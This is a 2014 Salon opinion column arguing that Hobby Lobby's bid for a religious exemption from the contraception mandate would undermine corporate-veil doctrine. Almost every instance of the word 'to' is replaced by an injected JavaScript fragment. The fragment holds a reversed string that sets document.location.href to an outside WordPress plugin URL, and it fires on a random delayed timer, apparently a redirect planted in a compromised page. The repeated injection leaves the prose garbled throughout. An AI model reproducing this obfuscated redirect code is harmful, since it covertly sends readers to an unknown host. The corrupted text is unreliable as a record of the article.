Shareholders at risk if Hobby Lobby wins

MONDAY, MAR 24, 2014 07:44 AM EDT

Right-wing judges face huge moral dilemma: How Hobby Lobby could expose SCOTUS’ hypocrisy

The coming case will test what’s more sacred toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this court: Corporate imperatives or so-called religious liberties

How many Republicans in Congress, would you guess, believe that corporate shareholders should generally be liable for the debts accrued or crimes committed by that corporation? Working in the other direction, how many free market-loving, conservative donor capitalists believe corporate shareholders or board members ought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tip the playing field by voting said corporation intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to non-compliance with laws and regulations that apply toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to competitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors?

I’d wager that the number is zero. The impermeability of the corporate veil is central toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their beliefs about how the economy should be organized, how the market should promote risk taking, encourage investment and so on.

And yet this week, nearly all of them — whether they’ve thought it through or not — will claim toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pierce the corporate veil in the latter direction. On Tuesday the Supreme Court will hear oral arguments in Sebelius v. Hobby Lobby — a case that will determine whether employers who oppose the use of birth control on religious grounds can deny female workers contraceptive coverage guaranteed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to them by the Affordable Care Act.

That’s how the stakes are typically described. The centrality of contraception toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the case has united religious conservatives behind Hobby Lobby (a nationwide chain of craft stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores) and other companies fighting the mandate. The fact that Obamacare is the vehicle for the mandate has drawn much of the rest of the conservative movement intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the fight as well.

But the case carries implications that are far greater than the durability of a fairly marginal provision of the Affordable Care Act. Hobby Lobby’s lawyers are nominally fighting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect the religious rights of the stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores’ owners. But Hobby Lobby is a corporation — a secular, for-profit business — and it’s the corporate entity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to which the mandate applies. To obtain a religious exemption from the mandate, Hobby Lobby’s owners need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to imbue the corporation with their personally held religious views. And that requires altering the distinction between shareholder and corporation in fundamental and potentially disruptive ways.

I’m borrowing heavily here from this Amicus Curiae brief (PDF) filed in support of the government by 44 corporate and criminal law professors.


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I’ve written in fairly general terms about unintended consequences that might attend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to providing private businesses with religious exemptions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to generally applicable laws. The lawyers in the brief are much more specific, and argue convincingly that the consequences wouldn’t necessarily be limited toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to female employees who would otherwise be entitled toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to contraceptive coverage, or toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hypothetical job applicants and custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers who might find their rights at cross-purposes with the religious beliefs of the owners of secular businesses. The legal channel Hobby Lobby et al. want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dig for themselves would also create tremendous uncertainty in the corporate arena generally, and likely draw the courts intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the thorny business of adjudicating the legitimacy of individual claims toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to religious exemptions.

I encourage you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to read the whole brief. But here’s the part that aligns with and expands on arguments I’ve made in other articles.

Hobby Lobby and Conestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toga argue that they should be exempt from federal law because of the religious values of their controlling shareholders, while seeking toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to maintain the benefits of corporate separateness for all other purposes. These corporations have benefited from their separateness in countless ways and their shareholders have been insulated from actual and potential corporate liabilities since inception. Yet now they ask this Court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to disregard that separateness in connection with a government regulation applicable solely toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the corporate entity. Hobby Lobby and Conestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toga want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to argue, in effect, that the corporate veil is only a one-way street: its shareholders can get protection from toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tort or contract liability by standing behind the veil, but the corporation can ask a court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to disregard the corporate veil on this occasion. Hobby Lobby and Conestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toga cannot have it both ways.

It’s not just that allowing corporations toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assume the religious identities of their shareholders might allow them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to refuse toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to employ or serve women or LGBT people, or create an incentive for them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to adopt religious identities in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid the burdens of regulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory compliance.

If Hobby Lobby et al. manage toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to successfully pierce the veil, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the end of avoiding the contraception mandate, the court’s ruling, if drawn broadly enough, could be used toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to expose shareholders toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to liabilities that incorporation is intended toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to eliminate. It stands toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reason that this contradiction at least partially explains why major corporate trade associations have either remained neutral in this case or actually come down on the side of the government.

It also creates an interesting test for this particular court, which, under the leadership of Chief Justice John Roberts, has been remarkably solicitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous of corporate imperatives, but has also been sensitive toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to those who claim their religious liberties have been threatened or curtailed.

If they decide toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to establish a corporate right toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to free exercise of religion, though, they’ll have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to grapple with their own reasoning in a 2006 case called Domino’s Pizza Inc. v. McDonald. In that case, the sole shareholder of a corporation — an African-American man — alleged that Domino’s had been motivated by racial animus toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to violate several of its contracts with his business, and in so doing had violated his civil rights. The court was not sympathetic.

“[I]t is fundamental corporation and agency law — indeed it can be said toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be the whole purpose of corporation and agency law — that the shareholder and contracting officer of a corporation has no rights and is exposed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to no liability under the corporation’s contracts,” the court ruled. “The corporate form and the rules of agency protected his personal assets, even though he negotiated, signed, performed, and sought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce contracts for [the corporation] The corporate form and the rules of agency similarly deny him rights under those contracts.”

In other words, the court effectively held that a corporation could not be infused with the racial identity of its owner for the purposes of upholding the owner’s civil rights. The question is whether the atmospheric peculiarities of this case — Obamacare, subsidized contraception — will motivate the court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reverse its own reasoning.

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Brian BeutlerBrian Beutler is Salon’s political writer. Email him at bbeutler@salon.com and follow him on Twitter at @brianbeutler.